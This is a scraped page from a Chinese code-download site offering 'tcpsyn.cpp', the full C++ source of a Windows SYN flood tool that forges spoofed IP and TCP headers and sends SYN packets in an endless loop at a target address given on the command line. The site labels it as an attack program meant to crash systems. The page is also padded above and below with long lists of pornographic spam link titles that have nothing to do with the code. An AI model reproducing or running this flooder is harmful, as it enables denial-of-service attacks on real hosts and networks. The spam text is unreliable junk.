亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? tcpsyn.cpp

?? 一個能夠發送大量SYN洪水導致系統崩潰的攻擊程序源代碼。
?? CPP
字號:
//////////////////////////////////////////////////////////////////////////
//                                                                      //
//  SYN Flooder For Win2K by rurality                                   //
//                                                                      //
//  THIS PROGRAM IS MODIFIED FROM A LINUX VERSION BY Zakath             //
//  THANX Lion Hook FOR PROGRAM OPTIMIZATION                            //
//////////////////////////////////////////////////////////////////////////

#include "stdafx.h"
#include <winsock2.h>
#include <Ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>

#define SEQ 0x28376839
//#define SYN_DEST_IP "10.39.100.64"		//被攻擊的IP
//#define FAKE_IP "10.168.150.1"			//偽裝IP的起始值,本程序的偽裝IP覆蓋一個B類網段
#define STATUS_FAILED 0xFFFF			//錯誤返回值

typedef struct _iphdr					//定義IP首部
{
    unsigned char h_verlen;				//4位首部長度,4位IP版本號
    unsigned char tos;					//8位服務類型TOS
    unsigned short total_len;			//16位總長度(字節)
    unsigned short ident;				//16位標識
    unsigned short frag_and_flags;		//3位標志位
    unsigned char  ttl;					//8位生存時間 TTL
    unsigned char proto;				//8位協議 (TCP, UDP 或其他)
    unsigned short checksum;			//16位IP首部校驗和
    unsigned int sourceIP;				//32位源IP地址
    unsigned int destIP;				//32位目的IP地址
}IP_HEADER;

struct									//定義TCP偽首部
{
        unsigned long saddr;			//源地址
        unsigned long daddr;			//目的地址
        char mbz;
        char ptcl;						//協議類型
        unsigned short tcpl;			//TCP長度
}psd_header;

typedef struct _tcphdr					//定義TCP首部
{
    USHORT th_sport;					//16位源端口
    USHORT th_dport;					//16位目的端口
    unsigned int th_seq;				//32位序列號
    unsigned int th_ack;				//32位確認號
    unsigned char th_lenres;			//4位首部長度/6位保留字
    unsigned char th_flag;				//6位標志位
    USHORT th_win;						//16位窗口大小
    USHORT th_sum;						//16位校驗和
    USHORT th_urp;						//16位緊急數據偏移量
}TCP_HEADER;

//CheckSum:計算校驗和的子函數
USHORT checksum(USHORT *buffer, int size)
{ 
unsigned long cksum=0;
      while(size >1) {
    cksum+=*buffer++;
    size -=sizeof(USHORT);
  }
  if(size ) {
    cksum += *(UCHAR*)buffer;
  }
  cksum = (cksum >> 16) + (cksum & 0xffff);
  cksum += (cksum >>16);
  return (USHORT)(~cksum);
}

int main(int argc, char* argv[])
{
	int ErrorCode=0;
	bool flag;
	int TimeOut=2000,SendSEQ=0;
    char SendBuf[128]={0};
    char RecvBuf[65535]={0};
    WSADATA wsaData;
    SOCKET SockRaw=(SOCKET)NULL;
    struct sockaddr_in DestAddr;
    IP_HEADER ip_header;
    TCP_HEADER tcp_header;
	long FakeIpNet, FakeIpHost;
	char * SYN_DEST_IP;
	char * FAKE_IP;

	if (argc<2) {
		printf("Usage: TcpSyn <Destination IP address> <Fake IP address> [Send count]\n");
		return 0;
	} 
	else{	
		SYN_DEST_IP = argv[1];
		FAKE_IP = argv[2];
		if ((SYN_DEST_IP==NULL)||(FAKE_IP==NULL)) {
			printf("Parameters are invalid");
			return 0;
		}
	}


	//初始化SOCK_RAW
    if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){
        fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
        ExitProcess(STATUS_FAILED);
    }

    SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);

	if (SockRaw==INVALID_SOCKET){
        fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());
        ExitProcess(STATUS_FAILED);
    }

	flag=TRUE;

    //設置IP_HDRINCL以自己填充IP首部
    ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));	

	if (ErrorCode==SOCKET_ERROR)  printf("Set IP_HDRINCL Error!\n");
    __try{
		//設置發送超時
        ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));

		if(ErrorCode==SOCKET_ERROR){
            fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());
            __leave;
        }

		memset(&DestAddr,0,sizeof(DestAddr));
        DestAddr.sin_family=AF_INET;
        DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);
        FakeIpNet=inet_addr(FAKE_IP);
        FakeIpHost=ntohl(FakeIpNet);

		//填充IP首部
        ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));

		//高四位IP版本號,低四位首部長度
        ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));	//16位總長度(字節)
        ip_header.ident=1;													//16位標識
        ip_header.frag_and_flags=0;											//3位標志位
        ip_header.ttl=128;													//8位生存時間TTL
        ip_header.proto=IPPROTO_TCP;										//8位協議(TCP,UDP…)
        ip_header.checksum=0;												//16位IP首部校驗和
        ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);						//32位源IP地址
        ip_header.destIP=inet_addr(SYN_DEST_IP);							//32位目的IP地址

		//填充TCP首部
        tcp_header.th_sport=htons(7000);									//源端口號
        tcp_header.th_dport=htons(8080);									//目的端口號
        tcp_header.th_seq=htonl(SEQ+SendSEQ);								//SYN序列號
        tcp_header.th_ack=0;												//ACK序列號置為0
        tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);					//TCP長度和保留位
        tcp_header.th_flag=2;												//SYN 標志
        tcp_header.th_win=htons(16384);										//窗口大小
        tcp_header.th_urp=0;												//偏移
        tcp_header.th_sum=0;												//校驗和

		//填充TCP偽首部(用于計算校驗和,并不真正發送)
        psd_header.saddr=ip_header.sourceIP;								//源地址
        psd_header.daddr=ip_header.destIP;									//目的地址
        psd_header.mbz=0;
        psd_header.ptcl=IPPROTO_TCP;										//協議類型
        psd_header.tcpl=htons(sizeof(tcp_header));							//TCP首部長度

		while(1) {
			//每發送10,240個報文輸出一個標示符
            printf(".");

			for(int counter=0;counter<10240;counter++){
				if(SendSEQ++==65536) SendSEQ=1;								//序列號循環
                //更改IP首部
                ip_header.checksum=0;										//16位IP首部校驗和
                ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);				//32位源IP地址
                //更改TCP首部
                tcp_header.th_seq=htonl(SEQ+SendSEQ);						//SYN序列號
                tcp_header.th_sum=0;										//校驗和
                //更改TCP Pseudo Header
                psd_header.saddr=ip_header.sourceIP;             
				
				//計算TCP校驗和,計算校驗和時需要包括TCP pseudo header         
                memcpy(SendBuf,&psd_header,sizeof(psd_header));   
                memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
                tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));

				//計算IP校驗和
                memcpy(SendBuf,&ip_header,sizeof(ip_header));
                memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
                memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);
                int datasize=sizeof(ip_header)+sizeof(tcp_header);
                ip_header.checksum=checksum((USHORT *)SendBuf,datasize);
				
                //填充發送緩沖區
                memcpy(SendBuf,&ip_header,sizeof(ip_header));

				//發送TCP報文
                ErrorCode=sendto(SockRaw, SendBuf, datasize, 0,
                                (struct sockaddr*) &DestAddr,
                                sizeof(DestAddr));

				if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());
			} //end of for
		} //end of while
	}//end of try
	__finally {
		if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
		WSACleanup();
	}

	return 0;
}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产高清精品在线| 午夜视频在线观看一区二区| 国产高清无密码一区二区三区| 国产日韩欧美激情| 欧美三区免费完整视频在线观看| 丝袜亚洲另类丝袜在线| 国产精品久久综合| 在线综合+亚洲+欧美中文字幕| 日产国产高清一区二区三区| 国产免费观看久久| 欧美美女一区二区三区| 97精品电影院| 久久99久久精品| 午夜欧美在线一二页| 国产日韩影视精品| 欧美日韩午夜影院| av在线免费不卡| 毛片av中文字幕一区二区| 国产精品系列在线| 欧美一区二区精品在线| 色哟哟精品一区| 国产精品伊人色| 日韩精品免费视频人成| 久久在线观看免费| 欧美日韩在线播放一区| 不卡av在线网| 国产精品自拍av| 美女视频一区二区三区| 国产麻豆精品95视频| 国产精品久久久久久久久免费樱桃| 91精品国产高清一区二区三区蜜臀| 99这里只有精品| 国产精品一区二区在线播放 | 综合色中文字幕| 中文字幕免费一区| 精品国产凹凸成av人导航| 欧美一区二区三区影视| 欧美三级日韩三级| 久久精品国产澳门| 精品一区二区三区影院在线午夜| 亚洲一区二区五区| 亚洲mv在线观看| 亚瑟在线精品视频| 日韩国产在线观看一区| 亚洲一区电影777| 一区二区三区在线视频观看 | 国产亚洲成aⅴ人片在线观看| 日韩视频免费观看高清完整版| 欧美综合欧美视频| 欧美日韩国产美| 欧美视频在线观看一区| 欧美日韩高清一区二区三区| 91老司机福利 在线| 成人av中文字幕| 91在线一区二区三区| 高清不卡一区二区在线| 成人av免费网站| 91浏览器打开| 91超碰这里只有精品国产| 欧美精品色综合| 欧美成人精品福利| 久久久噜噜噜久久人人看| 国产亚洲综合在线| 国产人伦精品一区二区| 中文字幕高清一区| 欧美激情在线一区二区| 中文一区在线播放| 亚洲综合男人的天堂| 亚洲一区二区三区视频在线播放| 亚洲一区在线看| 免费美女久久99| 久久99精品久久久| 99久久久无码国产精品| 欧美在线高清视频| 久久婷婷国产综合国色天香| 欧美国产在线观看| 日韩在线观看一区二区| 精品亚洲国产成人av制服丝袜 | 久久精品欧美日韩精品| 亚洲精品中文字幕乱码三区| 亚洲成av人片在www色猫咪| 韩国一区二区三区| 9人人澡人人爽人人精品| 欧美高清dvd| 2023国产精品自拍| 欧美mv日韩mv亚洲| 一色桃子久久精品亚洲| 亚洲综合丝袜美腿| 精品欧美乱码久久久久久1区2区| 91看片淫黄大片一级| aaa亚洲精品| 欧美日本韩国一区| 精品盗摄一区二区三区| 中文字幕一区在线观看| 亚洲精品国产成人久久av盗摄| 久久国产精品99久久人人澡| 99久久99久久精品免费观看| 欧美老年两性高潮| 欧美国产日本韩| 亚洲欧美偷拍三级| 麻豆精品一区二区| 91丝袜呻吟高潮美腿白嫩在线观看| 在线日韩av片| 中文字幕免费不卡| 午夜精品免费在线观看| 99国产精品一区| 精品少妇一区二区三区在线播放| 一区二区成人在线| 国产成人综合亚洲网站| 日韩欧美资源站| 一区二区三区鲁丝不卡| 欧美激情综合在线| 九一久久久久久| 91视频.com| 亚洲欧洲99久久| 天堂一区二区在线| 一本到三区不卡视频| 久久久精品人体av艺术| 精品在线免费视频| 欧美日韩一区二区三区在线| 亚洲欧洲美洲综合色网| 激情综合五月婷婷| 日韩一二三四区| 亚洲一区二区三区三| 91视频免费观看| 国产精品情趣视频| 精东粉嫩av免费一区二区三区| 免费人成黄页网站在线一区二区| 成人激情综合网站| 久久亚区不卡日本| 亚洲综合色丁香婷婷六月图片| 亚洲天堂精品视频| 欧美疯狂性受xxxxx喷水图片| 国产精品美女久久久久久| 国产精品全国免费观看高清| 精品一区二区三区视频| 3atv一区二区三区| 秋霞国产午夜精品免费视频| 欧美视频一区二区三区在线观看| 夜夜夜精品看看| 色婷婷综合久久久久中文| 亚洲精品国产一区二区精华液| 成人小视频免费观看| 国产日韩精品一区二区三区 | 精品日韩欧美一区二区| 视频一区欧美日韩| 日韩欧美一区中文| 蜜桃视频一区二区三区在线观看 | 国产欧美一区二区三区沐欲| 美国十次综合导航| 欧美日韩国产欧美日美国产精品| 亚洲另类春色校园小说| 91在线精品一区二区| 玉足女爽爽91| 欧美色综合网站| 午夜精品视频一区| 欧美视频中文字幕| 天涯成人国产亚洲精品一区av| 欧美亚洲综合另类| 亚洲电影在线播放| 在线播放中文字幕一区| 一区二区三区蜜桃网| 欧美三级欧美一级| 美女www一区二区| 亚洲精品在线观| 国产高清在线精品| 国产精品国产三级国产三级人妇 | 欧美激情资源网| av在线不卡观看免费观看| 有坂深雪av一区二区精品| 欧美日韩一区二区不卡| 激情综合色综合久久综合| 久久久久99精品国产片| 91福利区一区二区三区| 日韩 欧美一区二区三区| 国产精品免费av| 在线欧美日韩国产| 精品一区二区三区免费观看| 国产精品沙发午睡系列990531| 99re这里只有精品首页| 亚洲午夜激情网页| 日韩欧美国产系列| 日本在线不卡一区| 国产欧美综合色| 波多野结衣中文字幕一区二区三区 | 北岛玲一区二区三区四区| 一区二区成人在线| 精品999在线播放| 99精品国产视频| 免费av网站大全久久| 国产女人18水真多18精品一级做 | 婷婷中文字幕一区三区| 欧美精品1区2区| 成人动漫一区二区三区| 夜夜嗨av一区二区三区四季av| 久久伊人中文字幕| 91麻豆免费观看| 大尺度一区二区| 午夜欧美2019年伦理| 亚洲精品综合在线|